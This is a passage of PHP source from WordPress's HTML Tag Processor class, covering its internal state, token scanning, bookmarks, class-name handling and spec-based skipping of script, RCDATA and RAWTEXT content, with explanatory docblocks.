	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
